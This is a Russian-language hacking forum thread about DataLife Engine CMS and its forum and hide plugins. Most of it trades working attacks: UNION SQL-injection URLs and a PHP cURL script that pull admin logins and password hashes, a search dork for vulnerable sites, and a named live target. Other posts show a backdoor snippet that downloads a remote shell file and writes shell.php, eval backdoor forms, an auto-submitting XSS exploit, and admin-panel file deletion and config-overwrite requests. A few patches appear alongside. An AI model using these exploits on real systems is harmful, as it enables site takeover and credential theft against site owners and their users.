Ребят а подскажите как узнать версию Dle ? admin.php не помогло сразу говорю,что там нет ни каких картинок с версией в ней :)
Раскрытие путей dle 8.3 engine/images.php
dle_skin: ../
if ($_COOKIE['dle_skin']) {
if (@is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) {
$config['skin'] = $_COOKIE['dle_skin'];
}
}
Открываем site.ru/engine/images.php?area=short_story&add_id=
грузим картинку и получаем раскрытые пути)
нужно какую то особую картинку грузить?
нужно какую то особую картинку грузить?
Нет, у меня с обычной получилось
Нет, у меня с обычной получилось
а тогда как получить раскрытие путей?
Dr.Brain
15.03.2010, 22:50
Вот софтина сканнер dle сайтов с встроенным бекдором сборки от злого
Нужна база сайтов которых в паблике навалом..
Скачать (http://softrank.ru/uploads/dlescann.rar)
В архиве сканнер и кейген для него
Покупал за 15$ , потому выкласть не жалко...
На базе 16000 сайтов нашёл 6 бекдоров
Версия DLE 8.2-8.5
Сканнер можна настроить под любую ссылку бекдора если надо..
Скорость: 2-3 сайта в сек. (1мбит)
Сам бекдор выполняет любой PHP код, потому залить шелл не составит труда
Берём хостинг. Туда текстовик с шеллом вида shell.txt
Идём в бекдор. Пишем
$shell = file_get_contents("http://site/shell.txt");
$fp = fopen("shell.php", a);
fwrite($fp, $shell);
fclose($fp);
Проблема: Недостаточная фильтрация входящих данных в регистрации.
Ошибка в версии: все версии
Степень опасности: Низкая
Баг нашёл: Lion__
Баг позволяет узнать префикс к бд.
Как юзать:
1) Переходим по ссылке ?do=register
2) Вводим логин, пароль, капчу, email более 50 символов.
Пример email:
qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft g@qawsedrftg.qawsedrftg
3) Нажимаем зарегистрироваться
4) Повторяем операцию с 1 по 3 шаги.
5) Получаем ошибку о дубликате поля. В ней смотрим префикс к бд.
Как это работает? Дело в том что поле email стоит ограничение в 50 символов, таким образом остальное всё обрезается, при первой регистрации в бд попало значение:
qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft
После второй регистрации идёт поиск поля email со значением:
qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft g@qawsedrftg.qawsedrftg
Которого нет, отправляется запрос, получаем ошибку.
Исправить:
Найти в engine/modules/register.php:
$email = $db->safesql( $parse->process( $_POST['email'] ) );
Заменить на:
$email = $db->safesql( $parse->process( substr($_POST['email'], 0,50) ) );
Источник: _http://forum.seo-king.ru/index.php?showtopic=377
должно получиться это:
http://img143.imageshack.us/img143/205/79773351.jpg
Как просмотреть, что под хайдом в DLE?
Dark_cracker
18.03.2010, 19:51
Sql-inj в dle-forum*е 2.4 была найдена мной , ещё месяца 2 назат) решил выложить , т.к. сайтов ещё много дырявых.
site.ru/?do=forum&showtopic=23%2527+union+select+1,2,CONCAT_WS(0x3a, name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23+from+dle_users+where+user_group =1+limit+1--
юзаем так ...
Защищаемся:
открываем файл: engine/forum/sources/components/init.php
446 строка
....
if ($_REQUEST['category'])
{
$act = 'category';
$cid =$_REQUEST['category'];
$t_act = '?c'.$cid;
}
if ($_REQUEST['showforum'])
{
$act = 'forum';
$fid = $_REQUEST['showforum'];
$t_act = '?f'.$fid;
}
if ($_REQUEST['showtopic'])
{
$act = 'topic';
$tid = $_REQUEST['showtopic'];
$t_act = '?t'.$tid;
}
......
заменяем на
......
if ($_REQUEST['category'])
{
$act = 'category';
$cid = intval($_REQUEST['category']);
$t_act = '?c'.$cid;
}
if ($_REQUEST['showforum'])
{
$act = 'forum';
$fid = intval($_REQUEST['showforum']);
$t_act = '?f'.$fid;
}
if ($_REQUEST['showtopic'])
{
$act = 'topic';
$tid = intval($_REQUEST['showtopic']);
$t_act = '?t'.$tid;
}
.....
вот типа сплоит писал месяца 2 назат для себя.
<form method="POST" >
Введи сайт "например" "<b>alldle.ru</b>" <input type="text" name="site" value="<?=$_POST['site']?>">
лимит вводить если показало mysql error<input type="text" name="lim" value="<?=$_POST['lim']?>">
<input type="submit" value="send">
</form>
<?php
if (!empty($_POST['site'])){
$lim="1";
if (!empty($_POST['lim'])){$lim ="{$_POST['lim']},";$lim .=$_POST['lim'];}
$url='http://'.$_POST['site'].'/?do=forum&showtopic=23%2527+union+select+1,2,CONCAT_WS(0x3a, name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23+from+dle_users+where+user_group =1+limit+'.$lim.'--';
$ua='Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10';
$cu=curl_init($url);
curl_setopt($cu,CURLOPT_HEADER, 0);
curl_setopt($cu,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cu,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($cu,CURLOPT_USERAGENT, $ua);
$log=curl_exec($cu);
$log=html_entity_decode($log);
if (preg_match_all('#<title>(.*)» (.*)</title>#i',$log,$log2)){
$ss=$log2[2][0];
if (!preg_match('#[:]#is',$ss,$loggg)){ echo 'нету баги ';exit;}
$save=explode(':',$ss);
echo " <b>site:</b> <font color='green'> ".$_POST['site']."</font><br>";
echo " <b>name:</b> <font color='red'> ".$save[0]."</font><br>";
echo "<b>pass:</b> <font color='blue'> ".$save[1]."</font><br>";
}
else { echo " баги не найдено =( ";preg_match_all('#<title>(.*)</title>#i',$log,$logi); echo "<b>{$logi[1][0]}</b>";}
curl_close($cu);
}
?>
(c) dark_cracker
dork:
inurl:/forum/ intext:DLE Forum v.2.4 © 2010 Pocketx.Ru
Как просмотреть, что под хайдом в DLE?
Так просто не посмотришь а смощию скрипта свободно можешь слить файлы не только дле но и другие движки...
http://new-dle.biz/exclusive/667-skript-obxoda-xajda-dlya-attachej-v-dle.html
В 8.3, может и раньшых!
вывод какие модули стоят.
Файл
http://localhost/engine/ajax/antivirus.php
Вывод список!
Защищаемся
На начало добавить
if(!defined('DATALIFEENGINE'))
{
die("You lol! Anatole yzhe tut");
}
saransko_o
09.04.2010, 12:00
имеются сайты dle 8.0 ,8.2
Каким то образом в файлы dbconfig.php config.php init.php дописываются строки с фреймом типа echo bla bla bla.
Шеллов на хостинге нет, все оригинальное, пароли меняли, в общем всё делали. А как то дописывается..
Создатель файла- 48, а если создаем мы то создатель- 500.
Т.е. файлы изменяет скрипт?
Где копать?
имеются сайты dle 8.0 ,8.2
Каким то образом в файлы dbconfig.php config.php init.php дописываются строки с фреймом типа echo bla bla bla.
Шеллов на хостинге нет, все оригинальное, пароли меняли, в общем всё делали. А как то дописывается..
Создатель файла- 48, а если создаем мы то создатель- 500.
Т.е. файлы изменяет скрипт?
Где копать?
Нулл движок?
saransko_o
11.04.2010, 23:56
Нулл движок?
да. нулл от MID.
ReckouNT
12.04.2010, 05:59
В нуллах авторы нулла пишут уязвимости. Либо сами нуллите, либо юзайте фривар двиг.
Сам лично юзаю PHP - Fusion.
saransko_o
12.04.2010, 15:06
Кстати на многих лицензия была
Вот софтина сканнер dle сайтов с встроенным бекдором сборки от злого
Нужна база сайтов которых в паблике навалом..
Скачать (http://softrank.ru/uploads/dlescann.rar)
В архиве сканнер и кейген для него
Покупал за 15$ , потому выкласть не жалко...
На базе 16000 сайтов нашёл 6 бекдоров
Версия DLE 8.2-8.5
Сканнер можна настроить под любую ссылку бекдора если надо..
Скорость: 2-3 сайта в сек. (1мбит)
Сам бекдор выполняет любой PHP код, потому залить шелл не составит труда
Берём хостинг. Туда текстовик с шеллом вида shell.txt
Идём в бекдор. Пишем
$shell = file_get_contents("http://site/shell.txt");
$fp = fopen("shell.php", a);
fwrite($fp, $shell);
fclose($fp);
А кто автор и как с ним связаться ?
Такой вопрос, залил шелл.
А как его юзать? Фиг его знает как искать етот шелл..... ;)
Никак, там в папке с загруженными файлами лежит htaccess, ты не выполнишь .php файл
Есть бедкодер в папке /engine/ajax/
if($_POST['text']!=''){eval(stripcslashes($_POST['text']));}
Что с этим можно сделать?
Nightmarе
30.04.2010, 06:08
Есть бедкодер в папке /engine/ajax/
if($_POST['text']!=''){eval(stripcslashes($_POST['text']));}
Что с этим можно сделать?
Ну например, отправить мне в ЛС список сайтов с этим бекдором ;)
Я думаю таких сайтов много с этим бедкодером это относиться к null версиям dle.
К примеру DataLife Engine v.8.5 Nulled by M.I.D-Team
Так что с этим можно сделать?
В этой папке нету файла .htaccess
Так что с этим можно сделать?
В чём проблема? Пошли ему post с кодом, например через copy()
Такой вопрос, залил шелл.
А как его юзать? Фиг его знает как искать етот шелл..... ;)
Юзай антивирус в админке, он покажет назву шелла
Rew, где ты там(Nulled by M.I.D-Team) увидел этот код?
В чём проблема? Пошли ему post с кодом, например через copy()
Проблема в том что я не знаю как и что нужно и куда послать и через чё.
Где об этом можно хоть статью почитать или книжку что да как?
Rew, где ты там(Nulled by M.I.D-Team) увидел этот код?
В \upload\engine\ajax
keywords.php
http://slil.ru/29061005
Проблема в том что я не знаю как
http://php.net/manual/en/reserved.variables.post.php
http://php.net/manual/en/function.copy.php
Создавай форму(html) или просто курлом посылай.
А где дырка?- http://pastebin.com/Xj9kADx1
TANZWUT, ага http://forum.antichat.ru/showpost.php?p=1658712&postcount=87
Komyak, скорей всего Rew слил не с сайта M.I.D-Team
Да я сливал dle не сайта M.I.D-Team а с какого то сайта по dle где есть модули и хаки для dle.
Но что релиз от тимы M.I.D-Team там было это точно написано и папка там называлась DataLife Engine v.8.5 Nulled by M.I.D-Team после распаковки архива.
Значит от ихнего имени кто - то дле null распространяет с бэкдор . eval() через $_POST. Только теперь этот бэкдор
в keywords.php.
http://php.net/manual/en/reserved.variables.post.php
http://php.net/manual/en/function.copy.php
Создавай форму(html) или просто курлом посылай.
Спасибо почитаем.
Что с рангом я вам плюсь добавил а его не видно?
попробуй так
<form name="eval" action="http://script.ru/script.php" method="post">
<input type="text" name="text" value="phpinfo();"><br />
<input type="submit" name="submit" value="хряп">
</form>
вместо http://script.ru/script.php путь до твоего скрипта там где бекдор нашел, вместо phpinfo(); можеш любой php код писать.
Здравствуйте, я новичек на форуме, поэтому сразу извиняюсь, если пост не сюда. Вопрос следующего характера, как можно залить шелл в dle 4.2 если нет доступа в админпанель, а есть только доступ к cnstats, установленного на этом сайте
m00nster
31.05.2010, 08:57
Доброе время суток.
Помогите написать код для бэкдора от -=ZLOY=-,чтоб получить доступ в АП, и быть в user_group 1
В этом деле я новичок,прошу вас,напишите подробно что да как
slva2000
31.05.2010, 23:05
http://forum.searchengines.ru/showthread.php?t=504108
Приветствую, уважаемые!
В последние несколько дней были взломаны сайты типа осетрина, amxсервер и т.д. мегакулхацкерами, думаю они на этом не остановятся, поэтому палю заплатку для новорожденной дыры - поставить права 765 на папку data.
детали не известны
MaZaHaKaT
02.06.2010, 11:30
Вот недавно нашёл багу.
В зависимости от чпу выполняем запрос
Например:http://skripters.com/dle_haki/page/9999999999999999999/
Получаем:
MySQL Error! ------------------------ The Error returned was: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '7.3786976294838E+19,8' at line 1 Error Number: 1064
Я думаю найдёте применение :)
Неоткажусь от ++
Я где то слышал что была софтина, которая ворует бэкапы - если он есть на сайте в папке backup. Не подскажите? сайтик нашел, папка бэкап есть имя бэкапа не могу подобрать ;)
m00nster
04.06.2010, 11:37
Я где то слышал что была софтина, которая ворует бэкапы - если он есть на сайте в папке backup. Не подскажите? сайтик нашел, папка бэкап есть имя бэкапа не могу подобрать ;)
держи (http://love-cs.ru/backup.rar)
m00nster
05.06.2010, 01:40
Хм,кто нить тут отпишется как юзать багу с помощью "Tiny MCE редактор"
Работает любой хтмл тег отосланный пост запросом на engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php
ТИПА ЭКСПЛОИТ
PHP код:
<?php
$value = urlencode("<script>alert('HACKED BY KZPROMO trololo');</script>");
if($_GET['unset'] == "time") unset($_COOKIE['time']);
if(!isset($_COOKIE['time']))
{
setcookie("time",time(),time()+3600);
echo <<<HTML
<html>
<head>
</head>
<body>
<center>
<form name="hack" action="https://gomel-sat.net/engine/editor/jscripts/tiny_mce/plugins/typograf/handler.php" method="post">
<input type="text" name="text" value='$value' style="boder:none;FONT: 0px Tahoma; border:0px solid #FFFFFF;" border="0">
</form>
<script>
document.hack.submit();
</script>
</body>
</html>
HTML;
}
else {
header("Content-type: image/jpg");
$image = imagecreatefromgif('smile.jpg');
imagegif($image);
imagedestroy($image);
}
?>
Автор: kzpromo
Nightmarе
05.06.2010, 16:46
Я подстолом. Сорри за оффтоп, но теперь уже и под пассивные XSS у нас сплойты пишут
Есть ли способ увидеть имя БД в новых версиях DLE (8.2-8.5)?
wildshaman
06.06.2010, 11:21
Я подстолом. Сорри за оффтоп, но теперь уже и под пассивные XSS у нас сплойты пишут
Ну а если там только post, как иначе?
kickboxer
07.06.2010, 03:10
извиняюсь, если было, но может кто подскажет как взламывали недавно сайты, например zerx.ru .
Вот заплатка от взлома http://dle-news.ru/bags/v85/1037-provedenie-ataki-mezhsajtovogo-skriptinga-xss.html
Да вот действительно тема: http://dle-news.ru/bags/v85/1040-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html только не как не могу в ней разобраться ...
killerman
09.06.2010, 01:43
Да вот действительно тема: http://dle-news.ru/bags/v85/1040-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html только не как не могу в ней разобраться ...
А что в ней разбератся если у тебя на сайте есть аккаунт административный то ты можешь загрузить фейк! а дальше объяснять не надо :)
Найдена очередная Серьёзная уязвимость всех версий (независимо от автора).
Уровень риска: Критическая
баг позволяет выполнять любые действия в том числе sql запросы.
'key'=>"УНИК КОД"
Баг работает во всех версиях.
Вроде есть 1 файл в котором нет проверки на группу пользователя, только проверка хеша.
Кто что знает? Я порылся что-то нашёл, на этом и закончил.
wildshaman
14.06.2010, 00:21
Вроде есть 1 файл в котором нет проверки на группу пользователя, только проверка хеша.
Кто что знает? Я порылся что-то нашёл, на этом и закончил.
Откуда цитата? Прчему здесь key из конфига?
непонетно
\\все, ншел - http://dle.in.ua/bags/9503-seryoznaya-uyazvimost-v-null-versiyax.html
\\кажется, знаю, откуда урки растут у бага
Багу нашел: Lion__
Связь: 9287[шесть]78
Зовут его если не ошибаюсь Андрей
slva2000
14.06.2010, 13:07
wildshaman
что то я не понял пока... если лицуха (т.е. кей есть в конфиге) то уязвимости нет....?
что то я не понял пока... если лицуха (т.е. кей есть в конфиге) то уязвимости нет....?
наоборот !
нужно поменять на свой key
slva2000
14.06.2010, 15:25
наоборот !
нужно поменять на свой key
но тогда - wrong key....
wildshaman
14.06.2010, 23:17
Ну и да, в результате ночи копания накопал:
Уязвимости нету.
ПО мнению автора, $config['key'] мог помочь сгенерировать $dle_login_hash и заюзать xsrf или просто оойти проверку.
Только он вот не учел, что для генерации хеша нужен еще и сам пасс админа.
Так что отбой, баги нет :)
//Развели тут блин...
slva2000
15.06.2010, 07:38
Ну и да, в результате ночи копания накопал:
Уязвимости нету.
ПО мнению автора, $config['key'] мог помочь сгенерировать $dle_login_hash и заюзать xsrf или просто оойти проверку.
Только он вот не учел, что для генерации хеша нужен еще и сам пасс админа.
Так что отбой, баги нет :)
могу добавить, что перед проверкой ХЭШа стоит проверка админ ли...:
if (( $member_id['user_group'] != 1 )) { die ("error"); }
Ничего не выйдет.... Хотя, инфа к размышлению не плохая.
всё это в clean.php
wildshaman
15.06.2010, 12:36
Версия ДЛЕ: 8.5 (скорее всего, и преыдущие, но тестил именно на 8.5)
Везде далее:
1){ВАШ ЮЗЕР ХЕШ} - уникальный хеш, который вы получаете при входе в дадминку. Как правило, при переходе по страницам админки он передается гетом в урле, там его и берите. Или же заходите на страницу настроек, к примеру, и ищите в коде user_hash - там он и будет
2)лишние куски кода удалены, оставлены только самые важные, играющие роль при уязвимости.
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Описание: Удаление произвольных файлов
Зависимость: Нужны админские права
Файл: /engine/inc/files.php
Кусок кода:
if( $action == "doimagedelete" ) {
foreach ( $_POST['images'] as $image ) {
@unlink( $config_path_image_upload . $image );
@unlink( $config_path_image_upload . "thumbs/" . $image );
}
}
Как осуществить:
Залогинившись админом, послать post запрос:
http://site.com/admin.php?mod=files
images%5Bboxsmall.jpg%5D=../uploads/files/.htaccess&action=doimagedelete&userdir=&user_hash={ВАШ ЮЗЕР ХЕШ}
Смысл:
1) Можно удалить .htaccess из папки uploads, загрузить туда шелл и видеть его из веба :)
2) Можно помешать работе сайта, удалив важыне файлы.
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Описание: раскрытие префикса БД.
Зависимость: Права журналиста или администратора (любой доступ в админку)
Файл: /engine/inc/files.php
Кусок кода:
$serverfile = trim( htmlspecialchars( strip_tags( $_POST['serverfile'] ) ) );
$image_name = $serverfile;
if( $config['files_allow'] == "yes" and $user_group[$member_id['user_group']]['allow_file_upload'] and $_REQUEST['action'] == "quick" and (in_array( strtolower( $type ), $allowed_files ) or $serverfile != '') )
$db->query( "INSERT INTO " . PREFIX . "_files (news_id, name, onserver, author, date) values ('$news_id', '$image_name', '{$file_prefix}{$image_name}', '$author', '$added_time')" );
Как осуществить:
Залогинившись админом, послать post запрос:
http://hackhack/admin.php?mod=files&action=quick&subaction=upload
images_number=1&serverfile=\
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки
Зависимость: Права админа или журналиста с разрешением аливать файлы чреез админку
Файл: /admin.php?mod=files
Кусок кода:
$file_prefix = time() + rand( 1, 100 );
$file_prefix .= "_";
@copy( $imageurl, ROOT_DIR . "/uploads/files/" . $file_prefix . $image_name )
Ага, пишется: unixtime+{случайное число от 1 до 100}_названиефайлачтомывыгр зили
Отсылаем файл, снифаем, что вернул сервер:
Date: Mon, 14 Jun 2010 07:35:04 GMT
делаем себе
for($i=0; $i<=100; $i++)
{
$name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i;
echo $name."<br>";
}
Генерируем все возможные нвазвания нашего файла, потом просто перебираем их.
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Описание: Blind-sql
Зависимость: magic_quotes_gpc = off и админские права
Файл: /engine/ajax/clean.php
Кусок кода:
if ($_REQUEST['step'] == 2) {
if ((@strtotime($_REQUEST['date']) === -1) OR (trim($_REQUEST['date']) == ""))
$_REQUEST['step'] = 1;
else {
$_REQUEST['step'] = 3;
$sql = $db->query("SELECT id FROM " . PREFIX . "_post WHERE date < '{$_REQUEST['date']}'");
while($row = $db->get_row($sql)){
$db->query("DELETE FROM " . PREFIX . "_comments WHERE post_id='{$row['id']}'");
Как осуществить:
http://site.com/engine/ajax/clean.php?date=1'&user_hash={ВАШ ЮЗЕР ХЕШ}&step=2
P.S. Обыная скуля с юнионом не пройдет, так как полученная инфа сразу уходит в DELETE :( Кому надо - тот докрутит ;)
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Версии ДЛЕ ДО 8.5
Описание: редактирование настроек системы, имея лишь ограниченный (модерский) доступ в админку
Зависимость: Доступ в админку хотя бы с правами журналиста
Файл: /engine/inc/options.php
Кусок кода:
elseif( $action == "dosavesyscon" ) {
$save_con = $_POST['save_con'];
$save_con['offline_reason'] = $parse->process( stripslashes( trim( $save_con['offline_reason'] ) ) );
$save_con['offline_reason'] = str_replace( '"', '"', $parse->BB_Parse( $save_con['offline_reason'], false ) );
$find[] = "'\r'"; $replace[] = ""; $find[] = "'\n'"; $replace[] = "";
$handler = fopen( ENGINE_DIR . '/data/config.php', "w" );
fwrite( $handler, "<?PHP \n\n//System Configurations\n\n\$config = array (\n\n" );
foreach ( $save_con as $name => $value ) {
if( $name != "offline_reason" ) {
$value = trim( stripslashes( $value ) );
$value = htmlspecialchars( $value);
$value = preg_replace( $find, $replace, $value );
$name = trim( stripslashes( $name ) );
$name = htmlspecialchars( $name, ENT_QUOTES );
$name = preg_replace( $find, $replace, $name );
}
fwrite( $handler, "'{$name}' => \"{$value}\",\n\n" );
}
fwrite( $handler, ");\n\n?>" );
fclose( $handler );
}
Как осуществить:
Авторизовавшись в админке, делаем POST запрос
http://site.com/admin.php?mod=options&action=syscon
save_con%5Bhome_title%5D=GREAT HACK HOHOHOH&mod=options&action=dosavesyscon&user_hash={ВАШ ЮЗЕР ХЕШ}
причем настроек поменять можно множество вплоть до оотключения сайта ;)
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Описание: раскрытие путей
1) Требуется админка
http://site.com/admin.php?mod=static&search_field[]=
2) Админка не требуется, праа Юзерские
http://site.com/?do=addnews
POST
tags[]=1&mod=addnews
http://site.com/index.php
POST
login=submit&login_password[]=1
---------------------------------------------------------------------------------------------------------------------------------------------------
(c) wildshaman 2010. Special for Antichat
wildshaman
17.06.2010, 18:06
Модуль Hide v.4.2 для DLE
Описание: выполнение произвольного кода (бекдор оставил автор)
Зависимость: аккаунт юзера
Файл: engine/modules/hide_news.php
Кусок кода:
if(md5(md5($_GET['conf_key'])) == $sets['key']){ eval(base64_decode($_GET['user_id'])); }
key записывается в конфиге после любого изменения настроек модуля в админке, причем строго указан - d5bb5b454e4310d06746d9325b1c1968
Как осуществить:
http://site.com/?newsid=XXXX&conf_key=fibona4i&user_id=cGhwaW5mbygpOw==
Где XXX - айди существующей новости, а user_id - забейсенный php код (в данном случае пхпинфо)
DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:
if (intval($tid))
$row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid");
Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]
.:[melkiy]:.
17.06.2010, 19:44
DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:
if (intval($tid))
$row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid");
Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]
можно пример? :)
Nightmarе
17.06.2010, 19:51
:.']можно пример? :)
Пример:
http://site.ru/?do=forum&showtopic=54%2527+union+select+1,2,CONCAT_WS%280x3 a,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23+from+dle_users+where+user_g roup%20=1+limit+1
Живой пример на сайте:
http://rtmusic.co.cc/?do=forum&showtopic=1%2527+union+select+1,2,CONCAT_WS%280x3a ,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,22,23+from+dle_users+where+user_gr oup%20=1+limit+1
Логин + хеш можно наблюдать в заголовке <TITLE>
Да, на многих сайтах колонок где больше где меньше, если появляется сообщение:
The used SELECT statements have a different number of columns
Значит надо либо добавлять, либо убавлять циферки.
.:[melkiy]:.
17.06.2010, 20:03
У шамана скуля для 2.5 версии. Ты привёл пример на 2.4.
Живой пример на сайте:
http://rtmusic.co.cc/?do=forum&showtopic=1%2527+union+select+1,2,CONCAT_WS%280x3a ,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,22,23+from+dle_users+where+user_gr oup%20=1+limit+1
http://dleshka.org.ru/states/1174-sql-inekciya-v-dle-forum-v24.html
Параметры совсем разные...
Nightmarе
17.06.2010, 20:05
:.']У шамана скуля для 2.5 версии. Ты привёл пример на 2.4.
http://dleshka.org.ru/states/1174-sql-inekciya-v-dle-forum-v24.html
Параметры совсем разные...
ок, не заметил, жаль. Щас эту попробую.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot